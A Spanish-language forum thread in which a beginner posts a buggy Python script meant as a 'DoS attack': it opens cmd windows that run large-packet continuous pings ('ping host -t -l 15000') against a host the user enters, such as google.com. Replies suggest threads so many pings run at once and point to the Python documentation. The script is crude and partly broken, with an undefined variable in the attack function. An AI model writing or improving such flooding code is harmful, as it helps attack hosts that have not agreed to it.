[python]abrir varias consolas de comandos ejecutando un comando.

Iniciado por dimineko, 5 Diciembre 2017, 20:01 PM

0 Miembros y 1 Visitante están viendo este tema.

dimineko

Iré al grano.Es un script para hacer un ataque Dos.Si,es muy simple.Pero queria empezar por esto.Mi idea es abrir un monton de ventanas (el número de ataques que introduzca el usuario) y que estan hagan el ping nada más abrirse.Es decir,si pongo estos datos:
HOST= google.com
ataques= 20

se deberian abrir 20 ventanas de cmd haciendo un ping -t -l 15000 a google...La cosa es que solo se me abre una,¿alguna sugerencia?dejo aqui el codigo.

Código (python) [Seleccionar]
import os
import time





ataques = input("[*]NÚMERO DE ATAQUES--->")
print ("[*]NUMERO DE ATAQUES SELECCIONADO---> [", ataques,"]")

def ready():
   host = input("[*]HOST--->") #PREGUNTAR IP O HOST
   print ("[*]HOST OBJETIVO SELECCIONADO---> [", host,"]")
   time.sleep(1)
   comando = "ping "+host+" -t -l 15000" #ESTO ES PARA ACLARME YO MISMO
   print ("[*]COMANDO--->",comando) #PARA ACLARARME YO MISMO TAMBIEN
   time.sleep(1)
   print ("[*]ATACANDO A--->"+host+"...")
   os.system(comando)


ready()

def ataque(ataques):
   os.system(comando)













time.sleep(3600) #PARA QUE NO SE CIERRE LA VENTANA


Engel Lex: No se debe escribir en maýusculas

aangrymasther

Mejor utiliza threads porque no se iniciara un ping hasta que no acabe el otro, por ejemplo, si pones:


import os
os.system("ls")
os.system("ls ..")


No se van a listar los dos a la vez, se esperará a que acabe uno para empezar el otro.

Creo que es esto lo que preguntabas xD, espero que te sirva de algo.
Probablemente el 99% de lo que digo sea incorrecto

dimineko


n1sen

Leete la documentacion de Python. Ahi aparace de que se trata ese modulo y de muchos mas
null